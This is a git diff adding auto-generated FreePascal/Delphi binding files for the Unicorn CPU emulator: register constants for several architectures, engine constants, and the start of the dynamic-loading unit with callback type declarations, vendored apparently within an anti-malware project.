UC_ARM64_REG_W13 = 181; + UC_ARM64_REG_W14 = 182; + UC_ARM64_REG_W15 = 183; + UC_ARM64_REG_W16 = 184; + UC_ARM64_REG_W17 = 185; + UC_ARM64_REG_W18 = 186; + UC_ARM64_REG_W19 = 187; + UC_ARM64_REG_W20 = 188; + UC_ARM64_REG_W21 = 189; + UC_ARM64_REG_W22 = 190; + UC_ARM64_REG_W23 = 191; + UC_ARM64_REG_W24 = 192; + UC_ARM64_REG_W25 = 193; + UC_ARM64_REG_W26 = 194; + UC_ARM64_REG_W27 = 195; + UC_ARM64_REG_W28 = 196; + UC_ARM64_REG_W29 = 197; + UC_ARM64_REG_W30 = 198; + UC_ARM64_REG_X0 = 199; + UC_ARM64_REG_X1 = 200; + UC_ARM64_REG_X2 = 201; + UC_ARM64_REG_X3 = 202; + UC_ARM64_REG_X4 = 203; + UC_ARM64_REG_X5 = 204; + UC_ARM64_REG_X6 = 205; + UC_ARM64_REG_X7 = 206; + UC_ARM64_REG_X8 = 207; + UC_ARM64_REG_X9 = 208; + UC_ARM64_REG_X10 = 209; + UC_ARM64_REG_X11 = 210; + UC_ARM64_REG_X12 = 211; + UC_ARM64_REG_X13 = 212; + UC_ARM64_REG_X14 = 213; + UC_ARM64_REG_X15 = 214; + UC_ARM64_REG_X16 = 215; + UC_ARM64_REG_X17 = 216; + UC_ARM64_REG_X18 = 217; + UC_ARM64_REG_X19 = 218; + UC_ARM64_REG_X20 = 219; + UC_ARM64_REG_X21 = 220; + UC_ARM64_REG_X22 = 221; + UC_ARM64_REG_X23 = 222; + UC_ARM64_REG_X24 = 223; + UC_ARM64_REG_X25 = 224; + UC_ARM64_REG_X26 = 225; + UC_ARM64_REG_X27 = 226; + UC_ARM64_REG_X28 = 227; + UC_ARM64_REG_V0 = 228; + UC_ARM64_REG_V1 = 229; + UC_ARM64_REG_V2 = 230; + UC_ARM64_REG_V3 = 231; + UC_ARM64_REG_V4 = 232; + UC_ARM64_REG_V5 = 233; + UC_ARM64_REG_V6 = 234; + UC_ARM64_REG_V7 = 235; + UC_ARM64_REG_V8 = 236; + UC_ARM64_REG_V9 = 237; + UC_ARM64_REG_V10 = 238; + UC_ARM64_REG_V11 = 239; + UC_ARM64_REG_V12 = 240; + UC_ARM64_REG_V13 = 241; + UC_ARM64_REG_V14 = 242; + UC_ARM64_REG_V15 = 243; + UC_ARM64_REG_V16 = 244; + UC_ARM64_REG_V17 = 245; + UC_ARM64_REG_V18 = 246; + UC_ARM64_REG_V19 = 247; + UC_ARM64_REG_V20 = 248; + UC_ARM64_REG_V21 = 249; + UC_ARM64_REG_V22 = 250; + UC_ARM64_REG_V23 = 251; + UC_ARM64_REG_V24 = 252; + UC_ARM64_REG_V25 = 253; + UC_ARM64_REG_V26 = 254; + UC_ARM64_REG_V27 = 255; + UC_ARM64_REG_V28 = 256; + UC_ARM64_REG_V29 = 257; + UC_ARM64_REG_V30 = 258; + UC_ARM64_REG_V31 = 259; + +// pseudo registers + UC_ARM64_REG_PC = 260; + UC_ARM64_REG_CPACR_EL1 = 261; + +// thread registers + UC_ARM64_REG_TPIDR_EL0 = 262; + UC_ARM64_REG_TPIDRRO_EL0 = 263; + UC_ARM64_REG_TPIDR_EL1 = 264; + UC_ARM64_REG_PSTATE = 265; + +// exception link registers + UC_ARM64_REG_ELR_EL0 = 266; + UC_ARM64_REG_ELR_EL1 = 267; + UC_ARM64_REG_ELR_EL2 = 268; + UC_ARM64_REG_ELR_EL3 = 269; + +// stack pointers registers + UC_ARM64_REG_SP_EL0 = 270; + UC_ARM64_REG_SP_EL1 = 271; + UC_ARM64_REG_SP_EL2 = 272; + UC_ARM64_REG_SP_EL3 = 273; + +// other CP15 registers + UC_ARM64_REG_TTBR0_EL1 = 274; + UC_ARM64_REG_TTBR1_EL1 = 275; + UC_ARM64_REG_ESR_EL0 = 276; + UC_ARM64_REG_ESR_EL1 = 277; + UC_ARM64_REG_ESR_EL2 = 278; + UC_ARM64_REG_ESR_EL3 = 279; + UC_ARM64_REG_FAR_EL0 = 280; + UC_ARM64_REG_FAR_EL1 = 281; + UC_ARM64_REG_FAR_EL2 = 282; + UC_ARM64_REG_FAR_EL3 = 283; + UC_ARM64_REG_PAR_EL1 = 284; + UC_ARM64_REG_MAIR_EL1 = 285; + UC_ARM64_REG_VBAR_EL0 = 286; + UC_ARM64_REG_VBAR_EL1 = 287; + UC_ARM64_REG_VBAR_EL2 = 288; + UC_ARM64_REG_VBAR_EL3 = 289; + UC_ARM64_REG_ENDING = 290; + +// alias registers + UC_ARM64_REG_IP0 = 215; + UC_ARM64_REG_IP1 = 216; + UC_ARM64_REG_FP = 1; + UC_ARM64_REG_LR = 2; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/ArmConst.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/ArmConst.pas new file mode 100644 index 0000000..eb9fc46 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/ArmConst.pas @@ -0,0 +1,140 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit ArmConst; + +interface + +const +// ARM registers + + UC_ARM_REG_INVALID = 0; + UC_ARM_REG_APSR = 1; + UC_ARM_REG_APSR_NZCV = 2; + UC_ARM_REG_CPSR = 3; + UC_ARM_REG_FPEXC = 4; + UC_ARM_REG_FPINST = 5; + UC_ARM_REG_FPSCR = 6; + UC_ARM_REG_FPSCR_NZCV = 7; + UC_ARM_REG_FPSID = 8; + UC_ARM_REG_ITSTATE = 9; + UC_ARM_REG_LR = 10; + UC_ARM_REG_PC = 11; + UC_ARM_REG_SP = 12; + UC_ARM_REG_SPSR = 13; + UC_ARM_REG_D0 = 14; + UC_ARM_REG_D1 = 15; + UC_ARM_REG_D2 = 16; + UC_ARM_REG_D3 = 17; + UC_ARM_REG_D4 = 18; + UC_ARM_REG_D5 = 19; + UC_ARM_REG_D6 = 20; + UC_ARM_REG_D7 = 21; + UC_ARM_REG_D8 = 22; + UC_ARM_REG_D9 = 23; + UC_ARM_REG_D10 = 24; + UC_ARM_REG_D11 = 25; + UC_ARM_REG_D12 = 26; + UC_ARM_REG_D13 = 27; + UC_ARM_REG_D14 = 28; + UC_ARM_REG_D15 = 29; + UC_ARM_REG_D16 = 30; + UC_ARM_REG_D17 = 31; + UC_ARM_REG_D18 = 32; + UC_ARM_REG_D19 = 33; + UC_ARM_REG_D20 = 34; + UC_ARM_REG_D21 = 35; + UC_ARM_REG_D22 = 36; + UC_ARM_REG_D23 = 37; + UC_ARM_REG_D24 = 38; + UC_ARM_REG_D25 = 39; + UC_ARM_REG_D26 = 40; + UC_ARM_REG_D27 = 41; + UC_ARM_REG_D28 = 42; + UC_ARM_REG_D29 = 43; + UC_ARM_REG_D30 = 44; + UC_ARM_REG_D31 = 45; + UC_ARM_REG_FPINST2 = 46; + UC_ARM_REG_MVFR0 = 47; + UC_ARM_REG_MVFR1 = 48; + UC_ARM_REG_MVFR2 = 49; + UC_ARM_REG_Q0 = 50; + UC_ARM_REG_Q1 = 51; + UC_ARM_REG_Q2 = 52; + UC_ARM_REG_Q3 = 53; + UC_ARM_REG_Q4 = 54; + UC_ARM_REG_Q5 = 55; + UC_ARM_REG_Q6 = 56; + UC_ARM_REG_Q7 = 57; + UC_ARM_REG_Q8 = 58; + UC_ARM_REG_Q9 = 59; + UC_ARM_REG_Q10 = 60; + UC_ARM_REG_Q11 = 61; + UC_ARM_REG_Q12 = 62; + UC_ARM_REG_Q13 = 63; + UC_ARM_REG_Q14 = 64; + UC_ARM_REG_Q15 = 65; + UC_ARM_REG_R0 = 66; + UC_ARM_REG_R1 = 67; + UC_ARM_REG_R2 = 68; + UC_ARM_REG_R3 = 69; + UC_ARM_REG_R4 = 70; + UC_ARM_REG_R5 = 71; + UC_ARM_REG_R6 = 72; + UC_ARM_REG_R7 = 73; + UC_ARM_REG_R8 = 74; + UC_ARM_REG_R9 = 75; + UC_ARM_REG_R10 = 76; + UC_ARM_REG_R11 = 77; + UC_ARM_REG_R12 = 78; + UC_ARM_REG_S0 = 79; + UC_ARM_REG_S1 = 80; + UC_ARM_REG_S2 = 81; + UC_ARM_REG_S3 = 82; + UC_ARM_REG_S4 = 83; + UC_ARM_REG_S5 = 84; + UC_ARM_REG_S6 = 85; + UC_ARM_REG_S7 = 86; + UC_ARM_REG_S8 = 87; + UC_ARM_REG_S9 = 88; + UC_ARM_REG_S10 = 89; + UC_ARM_REG_S11 = 90; + UC_ARM_REG_S12 = 91; + UC_ARM_REG_S13 = 92; + UC_ARM_REG_S14 = 93; + UC_ARM_REG_S15 = 94; + UC_ARM_REG_S16 = 95; + UC_ARM_REG_S17 = 96; + UC_ARM_REG_S18 = 97; + UC_ARM_REG_S19 = 98; + UC_ARM_REG_S20 = 99; + UC_ARM_REG_S21 = 100; + UC_ARM_REG_S22 = 101; + UC_ARM_REG_S23 = 102; + UC_ARM_REG_S24 = 103; + UC_ARM_REG_S25 = 104; + UC_ARM_REG_S26 = 105; + UC_ARM_REG_S27 = 106; + UC_ARM_REG_S28 = 107; + UC_ARM_REG_S29 = 108; + UC_ARM_REG_S30 = 109; + UC_ARM_REG_S31 = 110; + UC_ARM_REG_C1_C0_2 = 111; + UC_ARM_REG_C13_C0_2 = 112; + UC_ARM_REG_C13_C0_3 = 113; + UC_ARM_REG_IPSR = 114; + UC_ARM_REG_MSP = 115; + UC_ARM_REG_PSP = 116; + UC_ARM_REG_CONTROL = 117; + UC_ARM_REG_ENDING = 118; + +// alias registers + UC_ARM_REG_R13 = 12; + UC_ARM_REG_R14 = 10; + UC_ARM_REG_R15 = 11; + UC_ARM_REG_SB = 75; + UC_ARM_REG_SL = 76; + UC_ARM_REG_FP = 77; + UC_ARM_REG_IP = 78; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/M68kConst.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/M68kConst.pas new file mode 100644 index 0000000..be78f78 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/M68kConst.pas @@ -0,0 +1,32 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit M68kConst; + +interface + +const +// M68K registers + + UC_M68K_REG_INVALID = 0; + UC_M68K_REG_A0 = 1; + UC_M68K_REG_A1 = 2; + UC_M68K_REG_A2 = 3; + UC_M68K_REG_A3 = 4; + UC_M68K_REG_A4 = 5; + UC_M68K_REG_A5 = 6; + UC_M68K_REG_A6 = 7; + UC_M68K_REG_A7 = 8; + UC_M68K_REG_D0 = 9; + UC_M68K_REG_D1 = 10; + UC_M68K_REG_D2 = 11; + UC_M68K_REG_D3 = 12; + UC_M68K_REG_D4 = 13; + UC_M68K_REG_D5 = 14; + UC_M68K_REG_D6 = 15; + UC_M68K_REG_D7 = 16; + UC_M68K_REG_SR = 17; + UC_M68K_REG_PC = 18; + UC_M68K_REG_ENDING = 19; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/MipsConst.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/MipsConst.pas new file mode 100644 index 0000000..b4ef27e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/MipsConst.pas @@ -0,0 +1,205 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit MipsConst; + +interface + +const +// MIPS registers + + UC_MIPS_REG_INVALID = 0; + +// General purpose registers + UC_MIPS_REG_PC = 1; + UC_MIPS_REG_0 = 2; + UC_MIPS_REG_1 = 3; + UC_MIPS_REG_2 = 4; + UC_MIPS_REG_3 = 5; + UC_MIPS_REG_4 = 6; + UC_MIPS_REG_5 = 7; + UC_MIPS_REG_6 = 8; + UC_MIPS_REG_7 = 9; + UC_MIPS_REG_8 = 10; + UC_MIPS_REG_9 = 11; + UC_MIPS_REG_10 = 12; + UC_MIPS_REG_11 = 13; + UC_MIPS_REG_12 = 14; + UC_MIPS_REG_13 = 15; + UC_MIPS_REG_14 = 16; + UC_MIPS_REG_15 = 17; + UC_MIPS_REG_16 = 18; + UC_MIPS_REG_17 = 19; + UC_MIPS_REG_18 = 20; + UC_MIPS_REG_19 = 21; + UC_MIPS_REG_20 = 22; + UC_MIPS_REG_21 = 23; + UC_MIPS_REG_22 = 24; + UC_MIPS_REG_23 = 25; + UC_MIPS_REG_24 = 26; + UC_MIPS_REG_25 = 27; + UC_MIPS_REG_26 = 28; + UC_MIPS_REG_27 = 29; + UC_MIPS_REG_28 = 30; + UC_MIPS_REG_29 = 31; + UC_MIPS_REG_30 = 32; + UC_MIPS_REG_31 = 33; + +// DSP registers + UC_MIPS_REG_DSPCCOND = 34; + UC_MIPS_REG_DSPCARRY = 35; + UC_MIPS_REG_DSPEFI = 36; + UC_MIPS_REG_DSPOUTFLAG = 37; + UC_MIPS_REG_DSPOUTFLAG16_19 = 38; + UC_MIPS_REG_DSPOUTFLAG20 = 39; + UC_MIPS_REG_DSPOUTFLAG21 = 40; + UC_MIPS_REG_DSPOUTFLAG22 = 41; + UC_MIPS_REG_DSPOUTFLAG23 = 42; + UC_MIPS_REG_DSPPOS = 43; + UC_MIPS_REG_DSPSCOUNT = 44; + +// ACC registers + UC_MIPS_REG_AC0 = 45; + UC_MIPS_REG_AC1 = 46; + UC_MIPS_REG_AC2 = 47; + UC_MIPS_REG_AC3 = 48; + +// COP registers + UC_MIPS_REG_CC0 = 49; + UC_MIPS_REG_CC1 = 50; + UC_MIPS_REG_CC2 = 51; + UC_MIPS_REG_CC3 = 52; + UC_MIPS_REG_CC4 = 53; + UC_MIPS_REG_CC5 = 54; + UC_MIPS_REG_CC6 = 55; + UC_MIPS_REG_CC7 = 56; + +// FPU registers + UC_MIPS_REG_F0 = 57; + UC_MIPS_REG_F1 = 58; + UC_MIPS_REG_F2 = 59; + UC_MIPS_REG_F3 = 60; + UC_MIPS_REG_F4 = 61; + UC_MIPS_REG_F5 = 62; + UC_MIPS_REG_F6 = 63; + UC_MIPS_REG_F7 = 64; + UC_MIPS_REG_F8 = 65; + UC_MIPS_REG_F9 = 66; + UC_MIPS_REG_F10 = 67; + UC_MIPS_REG_F11 = 68; + UC_MIPS_REG_F12 = 69; + UC_MIPS_REG_F13 = 70; + UC_MIPS_REG_F14 = 71; + UC_MIPS_REG_F15 = 72; + UC_MIPS_REG_F16 = 73; + UC_MIPS_REG_F17 = 74; + UC_MIPS_REG_F18 = 75; + UC_MIPS_REG_F19 = 76; + UC_MIPS_REG_F20 = 77; + UC_MIPS_REG_F21 = 78; + UC_MIPS_REG_F22 = 79; + UC_MIPS_REG_F23 = 80; + UC_MIPS_REG_F24 = 81; + UC_MIPS_REG_F25 = 82; + UC_MIPS_REG_F26 = 83; + UC_MIPS_REG_F27 = 84; + UC_MIPS_REG_F28 = 85; + UC_MIPS_REG_F29 = 86; + UC_MIPS_REG_F30 = 87; + UC_MIPS_REG_F31 = 88; + UC_MIPS_REG_FCC0 = 89; + UC_MIPS_REG_FCC1 = 90; + UC_MIPS_REG_FCC2 = 91; + UC_MIPS_REG_FCC3 = 92; + UC_MIPS_REG_FCC4 = 93; + UC_MIPS_REG_FCC5 = 94; + UC_MIPS_REG_FCC6 = 95; + UC_MIPS_REG_FCC7 = 96; + +// AFPR128 + UC_MIPS_REG_W0 = 97; + UC_MIPS_REG_W1 = 98; + UC_MIPS_REG_W2 = 99; + UC_MIPS_REG_W3 = 100; + UC_MIPS_REG_W4 = 101; + UC_MIPS_REG_W5 = 102; + UC_MIPS_REG_W6 = 103; + UC_MIPS_REG_W7 = 104; + UC_MIPS_REG_W8 = 105; + UC_MIPS_REG_W9 = 106; + UC_MIPS_REG_W10 = 107; + UC_MIPS_REG_W11 = 108; + UC_MIPS_REG_W12 = 109; + UC_MIPS_REG_W13 = 110; + UC_MIPS_REG_W14 = 111; + UC_MIPS_REG_W15 = 112; + UC_MIPS_REG_W16 = 113; + UC_MIPS_REG_W17 = 114; + UC_MIPS_REG_W18 = 115; + UC_MIPS_REG_W19 = 116; + UC_MIPS_REG_W20 = 117; + UC_MIPS_REG_W21 = 118; + UC_MIPS_REG_W22 = 119; + UC_MIPS_REG_W23 = 120; + UC_MIPS_REG_W24 = 121; + UC_MIPS_REG_W25 = 122; + UC_MIPS_REG_W26 = 123; + UC_MIPS_REG_W27 = 124; + UC_MIPS_REG_W28 = 125; + UC_MIPS_REG_W29 = 126; + UC_MIPS_REG_W30 = 127; + UC_MIPS_REG_W31 = 128; + UC_MIPS_REG_HI = 129; + UC_MIPS_REG_LO = 130; + UC_MIPS_REG_P0 = 131; + UC_MIPS_REG_P1 = 132; + UC_MIPS_REG_P2 = 133; + UC_MIPS_REG_MPL0 = 134; + UC_MIPS_REG_MPL1 = 135; + UC_MIPS_REG_MPL2 = 136; + UC_MIPS_REG_CP0_CONFIG3 = 137; + UC_MIPS_REG_CP0_USERLOCAL = 138; + UC_MIPS_REG_ENDING = 139; + UC_MIPS_REG_ZERO = 2; + UC_MIPS_REG_AT = 3; + UC_MIPS_REG_V0 = 4; + UC_MIPS_REG_V1 = 5; + UC_MIPS_REG_A0 = 6; + UC_MIPS_REG_A1 = 7; + UC_MIPS_REG_A2 = 8; + UC_MIPS_REG_A3 = 9; + UC_MIPS_REG_T0 = 10; + UC_MIPS_REG_T1 = 11; + UC_MIPS_REG_T2 = 12; + UC_MIPS_REG_T3 = 13; + UC_MIPS_REG_T4 = 14; + UC_MIPS_REG_T5 = 15; + UC_MIPS_REG_T6 = 16; + UC_MIPS_REG_T7 = 17; + UC_MIPS_REG_S0 = 18; + UC_MIPS_REG_S1 = 19; + UC_MIPS_REG_S2 = 20; + UC_MIPS_REG_S3 = 21; + UC_MIPS_REG_S4 = 22; + UC_MIPS_REG_S5 = 23; + UC_MIPS_REG_S6 = 24; + UC_MIPS_REG_S7 = 25; + UC_MIPS_REG_T8 = 26; + UC_MIPS_REG_T9 = 27; + UC_MIPS_REG_K0 = 28; + UC_MIPS_REG_K1 = 29; + UC_MIPS_REG_GP = 30; + UC_MIPS_REG_SP = 31; + UC_MIPS_REG_FP = 32; + UC_MIPS_REG_S8 = 32; + UC_MIPS_REG_RA = 33; + UC_MIPS_REG_HI0 = 45; + UC_MIPS_REG_HI1 = 46; + UC_MIPS_REG_HI2 = 47; + UC_MIPS_REG_HI3 = 48; + UC_MIPS_REG_LO0 = 45; + UC_MIPS_REG_LO1 = 46; + UC_MIPS_REG_LO2 = 47; + UC_MIPS_REG_LO3 = 48; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/SparcConst.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/SparcConst.pas new file mode 100644 index 0000000..32ed301 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/SparcConst.pas @@ -0,0 +1,104 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit SparcConst; + +interface + +const +// SPARC registers + + UC_SPARC_REG_INVALID = 0; + UC_SPARC_REG_F0 = 1; + UC_SPARC_REG_F1 = 2; + UC_SPARC_REG_F2 = 3; + UC_SPARC_REG_F3 = 4; + UC_SPARC_REG_F4 = 5; + UC_SPARC_REG_F5 = 6; + UC_SPARC_REG_F6 = 7; + UC_SPARC_REG_F7 = 8; + UC_SPARC_REG_F8 = 9; + UC_SPARC_REG_F9 = 10; + UC_SPARC_REG_F10 = 11; + UC_SPARC_REG_F11 = 12; + UC_SPARC_REG_F12 = 13; + UC_SPARC_REG_F13 = 14; + UC_SPARC_REG_F14 = 15; + UC_SPARC_REG_F15 = 16; + UC_SPARC_REG_F16 = 17; + UC_SPARC_REG_F17 = 18; + UC_SPARC_REG_F18 = 19; + UC_SPARC_REG_F19 = 20; + UC_SPARC_REG_F20 = 21; + UC_SPARC_REG_F21 = 22; + UC_SPARC_REG_F22 = 23; + UC_SPARC_REG_F23 = 24; + UC_SPARC_REG_F24 = 25; + UC_SPARC_REG_F25 = 26; + UC_SPARC_REG_F26 = 27; + UC_SPARC_REG_F27 = 28; + UC_SPARC_REG_F28 = 29; + UC_SPARC_REG_F29 = 30; + UC_SPARC_REG_F30 = 31; + UC_SPARC_REG_F31 = 32; + UC_SPARC_REG_F32 = 33; + UC_SPARC_REG_F34 = 34; + UC_SPARC_REG_F36 = 35; + UC_SPARC_REG_F38 = 36; + UC_SPARC_REG_F40 = 37; + UC_SPARC_REG_F42 = 38; + UC_SPARC_REG_F44 = 39; + UC_SPARC_REG_F46 = 40; + UC_SPARC_REG_F48 = 41; + UC_SPARC_REG_F50 = 42; + UC_SPARC_REG_F52 = 43; + UC_SPARC_REG_F54 = 44; + UC_SPARC_REG_F56 = 45; + UC_SPARC_REG_F58 = 46; + UC_SPARC_REG_F60 = 47; + UC_SPARC_REG_F62 = 48; + UC_SPARC_REG_FCC0 = 49; + UC_SPARC_REG_FCC1 = 50; + UC_SPARC_REG_FCC2 = 51; + UC_SPARC_REG_FCC3 = 52; + UC_SPARC_REG_G0 = 53; + UC_SPARC_REG_G1 = 54; + UC_SPARC_REG_G2 = 55; + UC_SPARC_REG_G3 = 56; + UC_SPARC_REG_G4 = 57; + UC_SPARC_REG_G5 = 58; + UC_SPARC_REG_G6 = 59; + UC_SPARC_REG_G7 = 60; + UC_SPARC_REG_I0 = 61; + UC_SPARC_REG_I1 = 62; + UC_SPARC_REG_I2 = 63; + UC_SPARC_REG_I3 = 64; + UC_SPARC_REG_I4 = 65; + UC_SPARC_REG_I5 = 66; + UC_SPARC_REG_FP = 67; + UC_SPARC_REG_I7 = 68; + UC_SPARC_REG_ICC = 69; + UC_SPARC_REG_L0 = 70; + UC_SPARC_REG_L1 = 71; + UC_SPARC_REG_L2 = 72; + UC_SPARC_REG_L3 = 73; + UC_SPARC_REG_L4 = 74; + UC_SPARC_REG_L5 = 75; + UC_SPARC_REG_L6 = 76; + UC_SPARC_REG_L7 = 77; + UC_SPARC_REG_O0 = 78; + UC_SPARC_REG_O1 = 79; + UC_SPARC_REG_O2 = 80; + UC_SPARC_REG_O3 = 81; + UC_SPARC_REG_O4 = 82; + UC_SPARC_REG_O5 = 83; + UC_SPARC_REG_SP = 84; + UC_SPARC_REG_O7 = 85; + UC_SPARC_REG_Y = 86; + UC_SPARC_REG_XCC = 87; + UC_SPARC_REG_PC = 88; + UC_SPARC_REG_ENDING = 89; + UC_SPARC_REG_O6 = 84; + UC_SPARC_REG_I6 = 67; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/UnicornConst.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/UnicornConst.pas new file mode 100644 index 0000000..7337543 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/UnicornConst.pas @@ -0,0 +1,116 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit UnicornConst; + +interface + +const UC_API_MAJOR = 1; + + UC_API_MINOR = 0; + UC_VERSION_MAJOR = 1; + + UC_VERSION_MINOR = 0; + UC_VERSION_EXTRA = 2; + UC_SECOND_SCALE = 1000000; + UC_MILISECOND_SCALE = 1000; + UC_ARCH_ARM = 1; + UC_ARCH_ARM64 = 2; + UC_ARCH_MIPS = 3; + UC_ARCH_X86 = 4; + UC_ARCH_PPC = 5; + UC_ARCH_SPARC = 6; + UC_ARCH_M68K = 7; + UC_ARCH_MAX = 8; + + UC_MODE_LITTLE_ENDIAN = 0; + UC_MODE_BIG_ENDIAN = 1073741824; + + UC_MODE_ARM = 0; + UC_MODE_THUMB = 16; + UC_MODE_MCLASS = 32; + UC_MODE_V8 = 64; + UC_MODE_ARM926 = 128; + UC_MODE_ARM946 = 256; + UC_MODE_ARM1176 = 512; + UC_MODE_MICRO = 16; + UC_MODE_MIPS3 = 32; + UC_MODE_MIPS32R6 = 64; + UC_MODE_MIPS32 = 4; + UC_MODE_MIPS64 = 8; + UC_MODE_16 = 2; + UC_MODE_32 = 4; + UC_MODE_64 = 8; + UC_MODE_PPC32 = 4; + UC_MODE_PPC64 = 8; + UC_MODE_QPX = 16; + UC_MODE_SPARC32 = 4; + UC_MODE_SPARC64 = 8; + UC_MODE_V9 = 16; + + UC_ERR_OK = 0; + UC_ERR_NOMEM = 1; + UC_ERR_ARCH = 2; + UC_ERR_HANDLE = 3; + UC_ERR_MODE = 4; + UC_ERR_VERSION = 5; + UC_ERR_READ_UNMAPPED = 6; + UC_ERR_WRITE_UNMAPPED = 7; + UC_ERR_FETCH_UNMAPPED = 8; + UC_ERR_HOOK = 9; + UC_ERR_INSN_INVALID = 10; + UC_ERR_MAP = 11; + UC_ERR_WRITE_PROT = 12; + UC_ERR_READ_PROT = 13; + UC_ERR_FETCH_PROT = 14; + UC_ERR_ARG = 15; + UC_ERR_READ_UNALIGNED = 16; + UC_ERR_WRITE_UNALIGNED = 17; + UC_ERR_FETCH_UNALIGNED = 18; + UC_ERR_HOOK_EXIST = 19; + UC_ERR_RESOURCE = 20; + UC_ERR_EXCEPTION = 21; + UC_MEM_READ = 16; + UC_MEM_WRITE = 17; + UC_MEM_FETCH = 18; + UC_MEM_READ_UNMAPPED = 19; + UC_MEM_WRITE_UNMAPPED = 20; + UC_MEM_FETCH_UNMAPPED = 21; + UC_MEM_WRITE_PROT = 22; + UC_MEM_READ_PROT = 23; + UC_MEM_FETCH_PROT = 24; + UC_MEM_READ_AFTER = 25; + UC_HOOK_INTR = 1; + UC_HOOK_INSN = 2; + UC_HOOK_CODE = 4; + UC_HOOK_BLOCK = 8; + UC_HOOK_MEM_READ_UNMAPPED = 16; + UC_HOOK_MEM_WRITE_UNMAPPED = 32; + UC_HOOK_MEM_FETCH_UNMAPPED = 64; + UC_HOOK_MEM_READ_PROT = 128; + UC_HOOK_MEM_WRITE_PROT = 256; + UC_HOOK_MEM_FETCH_PROT = 512; + UC_HOOK_MEM_READ = 1024; + UC_HOOK_MEM_WRITE = 2048; + UC_HOOK_MEM_FETCH = 4096; + UC_HOOK_MEM_READ_AFTER = 8192; + UC_HOOK_INSN_INVALID = 16384; + UC_HOOK_MEM_UNMAPPED = 112; + UC_HOOK_MEM_PROT = 896; + UC_HOOK_MEM_READ_INVALID = 144; + UC_HOOK_MEM_WRITE_INVALID = 288; + UC_HOOK_MEM_FETCH_INVALID = 576; + UC_HOOK_MEM_INVALID = 1008; + UC_HOOK_MEM_VALID = 7168; + UC_QUERY_MODE = 1; + UC_QUERY_PAGE_SIZE = 2; + UC_QUERY_ARCH = 3; + UC_QUERY_TIMEOUT = 4; + + UC_PROT_NONE = 0; + UC_PROT_READ = 1; + UC_PROT_WRITE = 2; + UC_PROT_EXEC = 4; + UC_PROT_ALL = 7; + +implementation +end. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Unicorn_dyn.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Unicorn_dyn.pas new file mode 100644 index 0000000..427813c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Unicorn_dyn.pas @@ -0,0 +1,673 @@ +{ + FreePascal/Delphi bindings for the UnicornEngine Emulator Engine \ + Tested On Mac - Win - Linux >> with FreePascal v3.0.4 & Delphi Berlin 10.2 . + + Copyright(c) 2018 Coldzer0 <Coldzer0 [at] protonmail.ch> . + + License: GPLv2 . +} + +unit Unicorn_dyn; + +{$IFDEF FPC} + {$MODE Delphi} + {$PackRecords C} +{$ENDIF} + +interface + +uses + {$IFDEF FPC}dynlibs,Crt{$ELSE} + {$ifdef mswindows} + windows,sysutils + {$ENDIF} + {$ENDIF}; + + +const +{$IFDEF Darwin} + UNICORN_LIB = './libunicorn.dylib'; +{$ENDIF} +{$ifdef Linux} + UNICORN_LIB = './libunicorn.so'; +{$endif} +{$ifdef mswindows} + UNICORN_LIB = './unicorn.dll'; +{$endif} + +type + uc_engine = Pointer; + uc_context = Pointer; // Opaque storage for CPU context, used with uc_context_*() + uc_hook = UIntPtr; + uc_arch = Cardinal; + uc_mode = Cardinal; + uc_err = Cardinal; + uc_query_type = Cardinal; + + {$IFNDEF FPC} // Delphi Support . + PUInt32 = ^UInt32; + {$ENDIF} + +type + { + Callback functions + Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) + @address: address where the code is being executed + @size: size of machine instruction(s) being executed, or 0 when size is unknown + @user_data: user data passed to tracing APIs. + } + uc_cb_hookcode_t = procedure(uc : uc_engine; address : UInt64; size : UInt32; user_data : Pointer); cdecl; + + { + Callback function for tracing interrupts (for uc_hook_intr()) + @intno: interrupt number + @user_data: user data passed to tracing APIs. + } + uc_cb_hookintr_t = procedure(uc : uc_engine; intno : UInt32; user_data : Pointer); cdecl; + + { + Callback function for tracing IN instruction of X86 + @port: port number + @size: data size (1/2/4) to be read from this port + @user_data: user data passed to tracing APIs. + } + uc_cb_insn_in_t = function(uc : uc_engine; port : UInt32; siz : integer; user_data : Pointer) : UInt32; cdecl; + + { + Callback function for OUT instruction of X86 . + @port: port number + @size: data size (1/2/4) to be written to this port + @value: data value to be written to this port + } + uc_cb_insn_out_t = procedure(uc : uc_engine; port : UInt32; size : integer; value : UInt32; user_data : Pointer); cdecl; + + // All type of memory accesses for UC_HOOK_MEM_* + uc_mem_type = integer; + + // All type of hooks for uc_hook_add() API. + uc_hook_type = integer; + + { + Callback function for hooking memory (UC_MEM_READ, UC_MEM_WRITE & 